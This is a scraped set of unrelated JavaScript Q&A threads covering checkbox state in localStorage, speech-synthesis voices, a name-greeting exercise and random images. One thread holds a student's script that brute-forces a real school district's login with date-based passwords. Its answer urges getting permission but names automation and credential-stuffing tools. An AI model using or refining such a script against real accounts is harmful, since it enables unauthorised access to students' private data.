I am saving the states of a series of checkboxes into localstorage rendering as checked: true or false, and with that data I re-check those checkboxes at a later time. All works for the most part, however a stray checkbox is becoming checked, it's data is reporting false as it should, and as the others do to not be checked, but it's becoming checked.
Sadly, all my attempts including the one answered; kill the functionality, and no checkboxes become re-checked.
/................../
// reset before loading
var clist = document.querySelectorAll('.k-treeview-lines input[type="checkbox"]');
for (var i = 0; i < clist.length; ++i) { clist[i].checked = false;
}
// $saved checkbox states, recheck
const defaultData = {
userAchkData: []
};
const localStorageData = JSON.parse(localStorage.getItem(username));
let userA = localStorageData || defaultData;
let inputs = userA[username].userAchkData;
inputs.forEach(function (input) {
if (input.checked) {
var inputElem = document.getElementById(input.id)
inputElem.click();
}
return false; // attempt
});
}
I have also tried input.stopPropagation()
This is how I'm saving the checkboxes if helpful:
// Save layer funct, $all current checkbox states user localStorage
function layerSaver() {
const defaultData = {
userAchkData: []
};
const localStorageData = JSON.parse(localStorage.getItem(username));
let userA = localStorageData || defaultData;
let inputs = document.querySelectorAll('.k-treeview-lines input[type="checkbox"]');
userA[username].userAchkData = [];
inputs.forEach(function (input) {
userA[username].userAchkData.push({
id: input.id,
checked: input.checked
});
});
localStorage.setItem(username, JSON.stringify(userA));
console.log(JSON.stringify(userA));
}
The propagation happens on the click event, not on the node itself. If you do something like:
inputElem.addEventListener('click', function(e) { e.stopPropagation(); });
It will stop the event bubbling up.
But looking at what you're trying to achieve, maybe using click() is going to make things more difficult for you. Instead of simulating a click, you can programmatically check the boxes like:
inputElem.checked = true;
You are just looping over and unchecking all of your checkboxes when you assign false to their .checked property. It looks like you are looping over an Array of Objects with id properties, which you are using to get your Elements, then just .click()ing them. I see nothing assigning to localStorage. Take a look at this:
//<![CDATA[
/* js/external.js */
let get, post, doc, html, bod, nav, M, I, mobile, S, Q, special, unspecial; // for use on other loads
addEventListener('load', ()=>{
get = (url, success, context)=>{
const x = new XMLHttpRequest;
const c = context || x;
x.open('GET', url);
x.onload = ()=>{
if(success)success.call(c, JSON.parse(x.responseText));
}
x.send();
}
post = function(url, send, success, context){
const x = new XMLHttpRequest;
const c = context || x;
x.open('POST', url);
x.onload = ()=>{
if(success)success.call(c, JSON.parse(x.responseText));
}
if(typeof send === 'object' && send && !(send instanceof Array)){
if(typeof FormData !== 'undefined' && send instanceof FormData){
x.send(send);
}
else{
let s, r = [];
for(let p in send){
s = send[p];
if(typeof s === 'object')s = JSON.stringify(s);
r.push(encodeURIComponent(p)+'='+encodeURIComponent(s));
}
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); x.send(r.join('&'));
}
}
else{
throw new Error('send argument must be an Object');
}
return x;
}
doc = document; html = doc.documentElement; bod = doc.body; nav = navigator; M = tag=>doc.createElement(tag); I = id=>doc.getElementById(id);
mobile = nav.userAgent.match(/Mobi/i) ? true : false;
S = (selector, within)=>{
var w = within || doc;
return w.querySelector(selector);
}
Q = (selector, within)=>{
var w = within || doc;
return w.querySelectorAll(selector);
}
special = str=>str.replace(/&/g, '&').replace(/'/g, ''').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>');
unspecial = str=>str.replace(/&/g, '&').replace(/'/g, "'").replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>');
// Put on another page, if you want. - except the end load
let data;
if(localStorage.data){
data = JSON.parse(localStorage.data);
}
else{
data = {friendly:false, loving:true, happy:false, greatful:true, smart:true};
}
for(let i=0,o,q=Q('#checks>input'),l=q.length; i<l; i++){
o = q[i];
o.checked = data[o.id] ? true : false;
o.onclick = function(){
data[this.id] = this.checked; localStorage.data = JSON.stringify(data);
}
}
}); // end load
//]]>
/* css/external.css */
*{
box-sizing:border-box; padding:0; margin:0;
}
html,body{
width:100%; height:100%; background:#ccc;
}
.main{
padding:10px;
}
#checks>*{
float:left;
}
#checks>input{
margin-right:4px; clear:left;
}
<!DOCTYPE html>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<meta charset='UTF-8' /><meta name='viewport' content='width=device-width, height=device-height, initial-scale:1, user-scalable=no' />
<title>Title Here</title>
<link type='text/css' rel='stylesheet' href='css/external.css' />
<script src='js/external.js'></script>
</head>
<body>
<div class='main'>
<h2>Check All that Apply</h2>
<div id='checks'>
<input id='friendly' type='checkbox' /><label for='friendly'>friendly</label>
<input id='loving' type='checkbox' /><label for='loving'>loving</label>
<input id='happy' type='checkbox' /><label for='happy'>happy</label>
<input id='greatful' type='checkbox' /><label for='greatful'>greatful</label>
<input id='smart' type='checkbox' /><label for='smart'>smart</label>
</div>
</div>
</body>
</html>
Related
I am a high school student and I am trying to make a password cracker to show my school how vulnerable their Student Dashboard is. A student Dashboard is a website that contains student accounts, links, and private information like addresses, passwords, and relatives.
Everyone's password has the following syntax: Pmonth/day/year
EXAMPLE: P05/03/2005
There is a problem though, when the code clicks the sign in button, the URL changes, and the page reloads, which stops the code when I run it in the console.
Is there a way that I could keep the code running from console even if page reloads.
I have thought of using web cookies to store the last used password, and then when the page reloads, just input it into the password textbox, but I am not sure, since I haven't used cookies before.
Any help is greatly appreciated.
What I am aiming to do is that I input an Id, and then it tries to crack the password by going through all dates a year has after 2003.
I will appreciate all answers, but I would like my answer in raw javascript(no libraries).
The sign in page consists of an username textbox, a password textbox and a sign in button.
Here's what the sign in page looks like: Sign in page
Here is the source code of the page:
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=10.000"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta http-equiv="cache-control" content="no-cache,no-store"/>
<meta http-equiv="pragma" content="no-cache"/>
<meta http-equiv="expires" content="-1"/>
<meta name='mswebdialog-title' content='Connecting to Broward County Public Schools'/>
<title>Sign In</title>
<script type='text/javascript'>
//<![CDATA[
function LoginErrors(){this.userNameFormatError = 'Enter your user ID in the format \u0026quot;domain\\user\u0026quot; or \u0026quot;user#domain\u0026quot;.'; this.passwordEmpty = 'Enter your password.'; this.passwordTooLong = 'Password must be shorter than 128 characters.';}; var maxPasswordLength = 128;
//]]>
</script>
<script type='text/javascript'>
//<![CDATA[
// Copyright (c) Microsoft Corporation. All rights reserved.
function InputUtil(errTextElementID, errDisplayElementID) {
if (!errTextElementID) errTextElementID = 'errorText';
if (!errDisplayElementID) errDisplayElementID = 'error';
this.hasFocus = false;
this.errLabel = document.getElementById(errTextElementID);
this.errDisplay = document.getElementById(errDisplayElementID);
};
InputUtil.prototype.canDisplayError = function () {
return this.errLabel && this.errDisplay;
}
InputUtil.prototype.checkError = function () {
if (!this.canDisplayError){
throw new Error ('Error element not present');
}
if (this.errLabel && this.errLabel.innerHTML) {
this.errDisplay.style.display = '';
var cause = this.errLabel.getAttribute('for');
if (cause) {
var causeNode = document.getElementById(cause);
if (causeNode && causeNode.value) {
causeNode.focus();
this.hasFocus = true;
}
}
}
else {
this.errDisplay.style.display = 'none';
}
};
InputUtil.prototype.setInitialFocus = function (input) {
if (this.hasFocus) return;
var node = document.getElementById(input);
if (node) {
if ((/^\s*$/).test(node.value)) {
node.focus();
this.hasFocus = true;
}
}
};
InputUtil.prototype.setError = function (input, errorMsg) {
if (!this.canDisplayError) {
throw new Error('Error element not present');
}
input.focus();
if (errorMsg) {
this.errLabel.innerHTML = errorMsg;
}
this.errLabel.setAttribute('for', input.id);
this.errDisplay.style.display = '';
};
InputUtil.makePlaceholder = function (input) {
var ua = navigator.userAgent;
if (ua != null &&
(ua.match(/MSIE 9.0/) != null ||
ua.match(/MSIE 8.0/) != null ||
ua.match(/MSIE 7.0/) != null)) {
var node = document.getElementById(input);
if (node) {
var placeholder = node.getAttribute("placeholder");
if (placeholder != null && placeholder != '') {
var label = document.createElement('input');
label.type = "text";
label.value = placeholder;
label.readOnly = true;
label.style.position = 'absolute';
label.style.borderColor = 'transparent';
label.className = node.className + ' hint';
label.tabIndex = -1;
label.onfocus = function () { this.nextSibling.focus(); };
node.style.position = 'relative';
node.parentNode.style.position = 'relative';
node.parentNode.insertBefore(label, node);
node.onkeyup = function () { InputUtil.showHint(this); };
node.onblur = function () { InputUtil.showHint(this); };
node.style.background = 'transparent';
node.setAttribute("placeholder", "");
InputUtil.showHint(node);
}
}
}
};
InputUtil.focus = function (inputField) {
var node = document.getElementById(inputField);
if (node) node.focus();
};
InputUtil.hasClass = function(node, clsName) {
return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
};
InputUtil.addClass = function(node, clsName) {
if (!this.hasClass(node, clsName)) node.className += " " + clsName;
};
InputUtil.removeClass = function(node, clsName) {
if (this.hasClass(node, clsName)) {
var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
node.className = node.className.replace(reg, ' ');
}
};
InputUtil.showHint = function (node, gotFocus) {
if (node.value && node.value != '') {
node.previousSibling.style.display = 'none';
}
else {
node.previousSibling.style.display = '';
}
};
//]]>
</script>
<link rel="stylesheet" type="text/css" href="/adfs/portal/css/style.css?id=D74D4D6943F32AE6F7F11D14D601DBB0E1A58919176EE512150366B6279AAF99" /><style>.illustrationClass {background-image:url(/adfs/portal/illustration/illustration.jpg?id=EB0C84D8C0F5E1E10127F3AD4A4C45BCDAA7AC32FFE204DACEBEAF85C61DA2F9);}</style>
</head>
<body dir="ltr" class="body">
<div id="noScript" style="position:static; width:100%; height:100%; z-index:100">
<h1>JavaScript required</h1>
<p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.</p>
<p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</p>
</div>
<script type="text/javascript" language="JavaScript">
document.getElementById("noScript").style.display = "none";
</script>
<div id="fullPage">
<div id="brandingWrapper" class="float">
<div id="branding"></div>
</div>
<div id="contentWrapper" class="float">
<div id="content">
<div id="header">
<img class="logoImage" src="/adfs/portal/logo/logo.png?id=4F68FA71CF303418A19ABB7297038B46FA3E25ED3754C2175A7B840EC6F97BE8" alt="Broward County Public Schools"/>
</div>
<div id="workArea">
<div id="authArea" class="groupMargin">
<div id="loginArea">
<div id="loginMessage" class="groupMargin">Sign in with your organizational account</div>
<form method="post" id="loginForm" autocomplete="off" novalidate="novalidate" onKeyPress="if (event && event.keyCode == 13) Login.submitLoginRequest();" action="/adfs/ls/?wctx=WsFedOwinState%3doJ9avOrRYr1UaVPxwGOAIzjfQ78zxpRhLHRmhne8M1AEjI9Y5SUSP0viJgR2iCtpjpu-gGqW73MjMkyVrK9b_N9m5JlVSyznBQxTGDsRm5WDilyumMYDi4x5qL9-To1jCTs2bXP7iiZJuHS0aLiN-jXhIHy26i4J9qpsUHbiivCUYCZQNb0m68RqVJwDU-Cqf0DW1ieuP1_sAcqk3l0nwBlRoG-cO039YHVhBOyZSbnHfZtGqJRSX7p6yt5wwRQ6Y5vz9dPJ8V7FTz6-GIZPnk4ee4A&wa=wsignin1.0&wtrealm=http%3a%2f%2fgb.browardschools.com%2fpinnacle%2fgradebook%2f" >
<div id="error" class="fieldMargin error smallText">
<label id="errorText" for=""></label>
</div>
<div id="formsAuthenticationArea">
<div id="userNameArea">
<input id="userNameInput" name="UserName" type="email" value="" tabindex="1" class="text fullWidth"
spellcheck="false" placeholder="someone#example.com" autocomplete="off"/>
</div>
<div id="passwordArea">
<input id="passwordInput" name="Password" type="password" tabindex="2" class="text fullWidth"
placeholder="Password" autocomplete="off"/>
</div>
<div id="kmsiArea" style="display:none">
<input type="checkbox" name="Kmsi" id="kmsiInput" value="true" tabindex="3" />
<label for="kmsiInput">Keep me signed in</label>
</div>
<div id="submissionArea" class="submitMargin">
<span id="submitButton" class="submit" tabindex="4"
onKeyPress="if (event && event.keyCode == 32) Login.submitLoginRequest();"
onclick="return Login.submitLoginRequest();">Sign in</span>
</div>
</div>
<input id="optionForms" type="hidden" name="AuthMethod" value="FormsAuthentication"/>
</form>
<div id="authOptions">
<form id="options" method="post" action="https://fs.browardschools.com:443/adfs/ls/?wctx=WsFedOwinState%3doJ9avOrRYr1UaVPxwGOAIzjfQ78zxpRhLHRmhne8M1AEjI9Y5SUSP0viJgR2iCtpjpu-gGqW73MjMkyVrK9b_N9m5JlVSyznBQxTGDsRm5WDilyumMYDi4x5qL9-To1jCTs2bXP7iiZJuHS0aLiN-jXhIHy26i4J9qpsUHbiivCUYCZQNb0m68RqVJwDU-Cqf0DW1ieuP1_sAcqk3l0nwBlRoG-cO039YHVhBOyZSbnHfZtGqJRSX7p6yt5wwRQ6Y5vz9dPJ8V7FTz6-GIZPnk4ee4A&wa=wsignin1.0&wtrealm=http%3a%2f%2fgb.browardschools.com%2fpinnacle%2fgradebook%2f">
<script type="text/javascript">
function SelectOption(option) {
var i = document.getElementById('optionSelection');
i.value = option;
document.forms['options'].submit();
return false;
}
</script>
<input id="optionSelection" type="hidden" name="AuthMethod" />
<div class='groupMargin'></div>
</form>
</div>
<div id="introduction" class="groupMargin">
<p align=center><b>REPORT CHILD ABUSE</b></p><p align=center><b>CALL 1-800-96ABUSE OR 1-800-962-2873</b></p></BR><p align=center><b>Students</b></p><p>If you are a student, your login name is your
student number (06########). If you have forgotten your password, please contact your teacher. </p></BR><p
align=center><b>Staff</b></p><p>If you are staff, your login name should be your staff ID (P0#######). If you have forgotten your password,
please contact your tech.</p></BR><p align=center><b>Parents Accessing Pinnacle</b></p><p>If you are a parent of a student in grades 6-12
and are accessing Pinnacle, please use your child’s Active Directory userid and password to login. If you are the parent of a child in
grades 3-5, please use the <b>BCPS Mobile App</b> to view the current average grade your child has earned in each class.</p>
</div>
<script type="text/javascript">
//<![CDATA[
function Login() {
}
Login.userNameInput = 'userNameInput';
Login.passwordInput = 'passwordInput';
Login.initialize = function () {
var u = new InputUtil();
u.checkError();
u.setInitialFocus(Login.userNameInput);
u.setInitialFocus(Login.passwordInput);
}();
Login.submitLoginRequest = function () {
var u = new InputUtil();
var e = new LoginErrors();
var userName = document.getElementById(Login.userNameInput);
var password = document.getElementById(Login.passwordInput);
if (!userName.value || !userName.value.match('[#\\\\]')) {
u.setError(userName, e.userNameFormatError);
return false;
}
if (!password.value) {
u.setError(password, e.passwordEmpty);
return false;
}
if (password.value.length > maxPasswordLength) {
u.setError(password, e.passwordTooLong);
return false;
}
document.forms['loginForm'].submit();
return false;
};
InputUtil.makePlaceholder(Login.userNameInput);
InputUtil.makePlaceholder(Login.passwordInput);
//]]>
</script>
</div>
</div>
</div>
<div id="footerPlaceholder"></div>
</div>
<div id="footer">
<div id="footerLinks" class="floatReverse">
<div><span id="copyright">© 2013 Microsoft</span></div>
</div>
</div>
</div>
</div>
<script type='text/javascript'>
//<![CDATA[
// Copyright (c) Microsoft Corporation. All rights reserved.
// This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
"use strict";
// iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
// Note change input type does not work on all versions of all browsers.
if (navigator.userAgent.match(/iPhone/i) != null) {
var emails = document.querySelectorAll("input[type='email']");
if (emails) {
for (var i = 0; i < emails.length; i++) {
emails[i].type = 'text';
}
}
}
// In the CSS file we set the ms-viewport to be consistent with the device dimensions,
// which is necessary for correct functionality of immersive IE.
// However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
// values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
// Windows 8 phone has agent string 'IEMobile 10.0'
if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
var msViewportStyle = document.createElement("style");
msViewportStyle.appendChild(
document.createTextNode(
"#-ms-viewport{width:auto!important}"
)
);
msViewportStyle.appendChild(
document.createTextNode(
"#-ms-viewport{height:auto!important}"
)
);
document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
}
// If the innerWidth is defined, use it as the viewport width.
if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
var viewport = document.querySelector("meta[name=viewport]");
viewport.setAttribute('content', 'width=' + window.innerWidth + 'px; initial-scale=1.0; maximum-scale=1.0');
}
// Gets the current style of a specific property for a specific element.
function getStyle(element, styleProp) {
var propStyle = null;
if (element && element.currentStyle) {
propStyle = element.currentStyle[styleProp];
}
else if (element && window.getComputedStyle) {
propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
}
return propStyle;
}
// The script below is used for downloading the illustration image
// only when the branding is displaying. This script work together
// with the code in PageBase.cs that sets the html inline style
// containing the class 'illustrationClass' with the background image.
var computeLoadIllustration = function () {
var branding = document.getElementById("branding");
var brandingDisplay = getStyle(branding, "display");
var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");
if (brandingDisplay && brandingDisplay !== "none" &&
brandingWrapperDisplay && brandingWrapperDisplay !== "none") {
var newClass = "illustrationClass";
if (branding.classList && branding.classList.add) {
branding.classList.add(newClass);
} else if (branding.className !== undefined) {
branding.className += " " + newClass;
}
if (window.removeEventListener) {
window.removeEventListener('load', computeLoadIllustration, false);
window.removeEventListener('resize', computeLoadIllustration, false);
}
else if (window.detachEvent) {
window.detachEvent('onload', computeLoadIllustration);
window.detachEvent('onresize', computeLoadIllustration);
}
}
};
if (window.addEventListener) {
window.addEventListener('resize', computeLoadIllustration, false);
window.addEventListener('load', computeLoadIllustration, false);
}
else if (window.attachEvent) {
window.attachEvent('onresize', computeLoadIllustration);
window.attachEvent('onload', computeLoadIllustration);
}
if (typeof Login != 'undefined'){
Login.submitLoginRequest = function () {
var u = new InputUtil();
var e = new LoginErrors();
var userName = document.getElementById(Login.userNameInput);
var password = document.getElementById(Login.passwordInput);
if (userName.value && !userName.value.match('[#\\\\]'))
{
var userNameValue = 'browardschools\\' + userName.value;
document.forms['loginForm'].UserName.value = userNameValue;
}
if (!userName.value) {
u.setError(userName, e.userNameFormatError);
return false;
}
if (!password.value)
{
u.setError(password, e.passwordEmpty);
return false;
}
document.forms['loginForm'].submit();
return false;
};
}
// Check whether the loginMessage element is present on this page.
var loginMessage = document.getElementById('loginMessage');
if (loginMessage)
{
// loginMessage element is present, modify its properties.
loginMessage.innerHTML = 'Sign in with your Browardschools Personnel Number or Student Number';
}
//]]>
</script>
</body>
</html>
Here is my following code:
//Gets id textbox
var username = document.getElementById("userNameInput");
//Gets password textbox
var password = document.getElementById("passwordInput");
//Gets button
var clickbutton = document.getElementById("submitButton");
var num1 = 1; // Month, start
var num2 = 0; // Day start
var num3 = 2003; // Year start
var id = username.value;
var passwrd = password.value;
var _DOB = "P" + "0" + num1 + "/" + num2 + "/" + num3; //Sets up the syntax for password Pmonth/day/year
function writeInput()
{
password.value = _DOB; // writes the _DOB value into the password textbox
clickbutton.click(); //clicks the sign in button
//SOTRES THE ID
id = username.value;
//ADDS THE NEXT DAY
num2 += 1; // If password is incorrect.
//RESETS DAY WHEN REACHES 31(max number a month has)
if(num2 > 31)
{
num2 = 1; // resets day to 1
num1 += 1; // adds 1 to the month count.
}
// ADDS NEXT YEAR
if(num2 == 31 && num1 == 12) // when reaches the last day of a year, it resets month and day, but adds one to the year count.
{
num3 += 1;
}
//RESET MONTH
if(num1 > 12)
{
num1 = 1;
}
if(num2 < 10)//Adds 0 to month and day if it is less than 10. Example: P5/5/2021 is not a correct systax, it turns to P05/05/2021. It adds the zeroes.
{
_DOB = "P" + "0" + num1 + "/" + "0" + num2 + "/" + num3;
}
else
{
_DOB = "P" + "0" + num1 + "/" + num2 + "/" + num3;
}
//Some output
clickbutton.onclick = console.log("SIGN IN BUTTON CLICKED");
console.log("Password used: " + _DOB);
}
}, 100);
}
setInterval(function()
{
writeInput();
}, 500);
Your challenge is to persist your JavaScript code inside a website hosted by someone else. All code within your browsers console is obsolete after page reload.
Another challenge you are facing is a legal one. It's highly recommended to get a permission to access an online service for the purpose you described. Any kind of security assessment has to be coordinated and aligned with the organization responsible for the questioned online service.
Since you will not want to change the content of the web server for legal reasons, you would need a tool manipulate the content served by the webserver within your client (read "browser").
There are browser automation tool like Puppeteer or Selenium Webdriver you can use to request any url repeatedly and to automate certain actions within the context of a browser like clicking elements, filling forms, executing JavaScript and so on.
Additionally there a fuzzers that can perform what is called credential stuffing. You can read more here about Burp Suite.
I have tried all the variations I can find on stackoverflow, but I can still not get the voice to change on SpeechSynthesis
Below is the standalone code that fills a dropdown with all the available voices and allows me to select which voice I want.
Unfortunately this code does not change the voice. Also, before changing the voice. msg.voice is null, even though it has been used to list all the available voices.
Can anyone tell me what is wrong with the code? (console.log(msg.voice); gives a null before being set)
<!doctype html>
<html>
<head>
<SCRIPT>
var msg = new SpeechSynthesisUtterance();
voices = window.speechSynthesis.getVoices();
var numberOfVoices=0;
function Main(){
voiceSelect=document.getElementById("voiceSelect");
setTimeout(getVoicesFunction,2000);
}
function getVoicesFunction(){
msg = new SpeechSynthesisUtterance("hello");
numberOfVoices=0;
speechSynthesis.getVoices().forEach(function(voice) {
var option = document.createElement('option');
option.text = option.value = voice.voiceURI;
voiceSelect.add(option, 0);
numberOfVoices=numberOfVoices+1;
});
voiceSelect.onchange = voiceChange;
}
function voiceChange(){
textToSpeech("this is the old voice");
var selectedOption = this[this.selectedIndex];
selectedVoice = selectedOption.text;
msg = new SpeechSynthesisUtterance();
voices = window.speechSynthesis.getVoices();
msg = new SpeechSynthesisUtterance();
console.log("before change msg.voice");
console.log(msg.voice);
for(i = 0; i < numberOfVoices ; i++) {
if(voices[i].voiceURI === selectedVoice) {
var temp="changing the voice number to "+i;
setTimeout(textToSpeech,2000,temp);
msg.voice = voices[i];
console.log(msg.voice);
var tempVoiceNumber=i;
};
}
setTimeout(textToSpeech,4000,"this is the new voice");
}
function textToSpeech(tspeech){
msg = new SpeechSynthesisUtterance();
msg.text = tspeech;
speechSynthesis.speak(msg);
console.log("speech "+tspeech);
}
</SCRIPT>
</head>
<body onload= "Main()" id= "mainb">
<div id="container">
<select name="Combobox1" size="1" id="voiceSelect">
</select>
</div>
</body>
</html>
IanR, I copied the code and it works for me. I cut out the pitch and rate controls and made the html simpler, but it's basically the same.
If it doesn't work for you are you getting any console errors?
var synth = window.speechSynthesis;
var inputForm = document.querySelector('form');
var inputTxt = document.querySelector('.txt');
var voiceSelect = document.querySelector('select');
/*var pitch = document.querySelector('#pitch');
var pitchValue = document.querySelector('.pitch-value');
var rate = document.querySelector('#rate');
var rateValue = document.querySelector('.rate-value');*/
var voices = [];
function populateVoiceList() {
voices = synth.getVoices();
for (i = 0; i < voices.length; i++) {
var option = document.createElement('option');
option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
if (voices[i].default) {
option.textContent += ' -- DEFAULT';
}
option.setAttribute('data-lang', voices[i].lang);
option.setAttribute('data-name', voices[i].name);
voiceSelect.appendChild(option);
}
}
populateVoiceList();
if (speechSynthesis.onvoiceschanged !== undefined) {
speechSynthesis.onvoiceschanged = populateVoiceList;
}
inputForm.onsubmit = function(event) {
event.preventDefault();
var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
for (i = 0; i < voices.length; i++) {
if (voices[i].name === selectedOption) {
utterThis.voice = voices[i];
}
}
//utterThis.pitch = pitch.value;
//utterThis.rate = rate.value;
synth.speak(utterThis);
inputTxt.blur();
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>61016951</title>
<script src="61016951.js" defer></script>
</head>
<body>
<div id="div">
<form>
<input type="text" class="txt">
<select></select>
<button type="submit">Play</button>
</form>
</div>
</body>
</html>
Stripping out all the extra bits in your code, here's how you'll need to handle the asynchronous loading on speechSynthesis.getVoices();
if (voiceLoaded()) {
speak();
} else {
speechSynthesis.addEventListener('voiceschanged', speak);
}
function speak() {
const utterance = new SpeechSynthesisUtterance('text');
utterance.voice = getFemaleVoice();
speechSynthesis.speak(utterance);
}
function getFemaleVoice() {
const voiceIndex = 4;
return speechSynthesis.getVoices()[voiceIndex];
}
function voiceLoaded() {
return speechSynthesis.getVoices().length;
}
If the voices array has loaded already then it'll speak the utterance, otherwise this code will add the event listener on the voiceschanged event which will fire once the browser loads the array of voices and then your callback to speak will run.
Improved hello
Complete the following program so that it asks the user for his first and last names, then show the result of the sayHello() function.
// Say hello to the user
function sayHello(firstName, lastName) {
const message = `Hello, ${firstName} ${lastName}!`;
return message;
}
// TODO: ask user for first and last name
// TODO: call sayHello() and show its result
Although I've omitted your template literals from my answer (for compatibility reasons). This should show you some basic JavaScript.
//<![CDATA[
/* external.js */
var doc, bod, htm, M, I, S, Q, old = onload; // for use on other loads
onload = function(){
if(old)old(); // change old var name if using technique on other pages
doc = document; bod = doc.body; htm = doc.documentElement;
M = function(tag){
return doc.createElement(tag);
}
I = function(id){
return doc.getElementById(id);
}
S = function(selector, within){
var w = within || doc;
return w.querySelector(selector);
}
Q = function(selector, within){
var w = within || doc;
return w.querySelectorAll(selector);
}
I('f').onsubmit = function(){
return false;
}
var first = I('first'), last = I('last'), show = I('show'), out = I('out');
show.onclick = function(){
out.innerHTML = first.value+' '+last.value; first.value = last.value = '';
}
}
//]]>
/* external.css */
html,body{
padding:0; margin:0;
}
body{
background:#000; overflow-y:scroll;
}
.main{
width:940px; background:#ccc; padding:20px; margin:0 auto;
}
<!DOCTYPE html>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<meta http-equiv='content-type' content='text/html;charset=utf-8' />
<meta name='viewport' content='width=device-width' />
<title>Test Template</title>
<link type='text/css' rel='stylesheet' href='external.css' />
<script type='text/javascript' src='external.js'></script>
</head>
<body>
<div class='main'>
<form id='f' name='f'>
<input id='first' name='first' type='text' placeholder='First Name' />
<input id='last' name='last' type='text' class='empty' placeholder='Last Name' />
<input id='show' name='show' type='button' value='Display Input' />
</form>
<div id='out'></div>
</div>
</body>
</html>
function askForName() {
var person = prompt("Please enter your first and last name:");
if (person !== null) {
var firstName = person.split(' ')[0];
var lastName = person.split(' ')[1];
console.log(sayHello(firstName, lastName));
}
}
function sayHello(firstName, lastName) {
const message = `Hello, ${firstName} ${lastName}!`;
return message;
}
askForName();
The result will be logged to your console.
I'm trying to display four images randomly with a related link, by avoiding to display duplicated images each time. I've found how to randomly display a random image with the link, but I have no idea how to create the loop part and how to check for duplicates. I would appreciate your help.
<script>
function random_imglink(){
var myimages=new Array()
myimages[1]="image1.gif"
myimages[2]="image2.gif"
myimages[3]="image3.gif"
myimages[4]="image4.gif"
myimages[5]="image5.gif"
myimages[6]="image6.gif"
var imagelinks=new Array()
imagelinks[1]="http://www.page1.com"
imagelinks[2]="http://www.page2.com"
imagelinks[3]="http://www.page3.com"
imagelinks[4]="http://www.page4.com"
imagelinks[5]="http://www.page5.com"
imagelinks[6]="http://www.page6.com"
var ry=Math.floor(Math.random()*myimages.length);
if (ry==0)
ry=1;
document.write('<a href='+'"'+imagelinks[ry]+'"'+'><img src="'+myimages[ry]+'" border=0></a>');
}
random_imglink()
</script>
Thanks in advance :)
As stated on this answer, you can create a method for checking of duplicates.
method:
var contains = function(needle) {
// Per spec, the way to identify NaN is that it is not equal to itself
var findNaN = needle !== needle;
var indexOf;
if(!findNaN && typeof Array.prototype.indexOf === 'function') {
indexOf = Array.prototype.indexOf;
} else {
indexOf = function(needle) {
var i = -1, index = -1;
for(i = 0; i < this.length; i++) {
var item = this[i];
if((findNaN && item !== item) || item === needle) {
index = i;
break;
}
}
return index;
};
}
return indexOf.call(this, needle) > -1;
};
usage:
var imagelinks= [0,1,2],
index = contains.call(imagelinks, imagelinks[ry]); //boolean
Outside of your function, declare an array to hold elements that are already displayed:
var displayed = [];
Then after your if (ry==0) condition add this:
if (displayed.indexOf(ry) !== -1){
displayed.push(ry);
document.write('<a href='+'"'+imagelinks[ry]+'"'+'><img src="'+myimages[ry]+'" border=0></a>');
} else {
random_imglink();
}
You should learn about Constructors. When you call new on them they return an Object which has separate properties based on the Constructor. Below is some code that will help you along your journey.
//<![CDATA[
// external.js
var doc, bod, htm, C, E, inArray, ShuffleMagic; // for use on other loads
addEventListener('load', function(){
doc = document; bod = doc.body; htm = doc.documentElement;
C = function(tag){
return doc.createElement(tag);
}
E = function(id){
return doc.getElementById(id);
}
inArray = function(needle, haystack){
for(var i=0,l=haystack.length; i<l; i++){
if(haystack[i] === needle){
return true;
}
}
return false;
}
function ShuffleMagic(haystack){
var a;
this.haystack = haystack;
this.alterOriginal = false;
this.shuffle = function(limit){
var r, s = this.haystack;
if(!a){
a = [].slice.call(s), l = a.length;
for(var i=0,n=1,f,h; i<l; i++,n++){
f = Math.floor(Math.random()*n); h = a[i]; a[i] = a[f]; a[f] = h;
}
}
if(limit){
if(a.length >= limit){
r = a.splice(0, limit);
if(a.length < limit)a = undefined;
}
else{
a = undefined;
return this.shuffle(s.length);
}
}
else{
r = a; a = undefined;
}
if(this.alterOriginal){
s.splice.apply(s, [0, s.length].concat(r)); a = undefined;
}
return r;
}
}
var imagelinks = ['http://www.page1.com', 'http://www.page2.com', 'http://www.page3.com', 'http://www.page4.com', 'http://www.page5.com', 'http://www.page6.com', 'http://www.page7.com', 'http://www.page8.com', 'http://www.page9.com',
'http://www.page10.com', 'http://www.page11.com', 'http://www.page12.com', 'http://www.page13.com', 'http://www.page14.com', 'http://www.page15.com', 'http://www.page16.com', 'http://www.page17.com', 'http://www.page18.com', 'http://www.page19.com'];
var max = E('limit'), out = E('out');
var wow = new ShuffleMagic(imagelinks);
// wow.alterOriginal = true;
// wow.haystack = ['Replace', 'other', 'array, 'example'];
E('testButton').addEventListener('click', function(){
out.innerHTML = wow.shuffle(+max.value).join('<br />');
});
});
//]]>
/* external.css */
html,body{
margin:0; padding:0;
}
.main{
width:980px; margin:0 auto;
}
#limit{
width:30px; padding-left:3px;
}
<!DOCTYPE html>
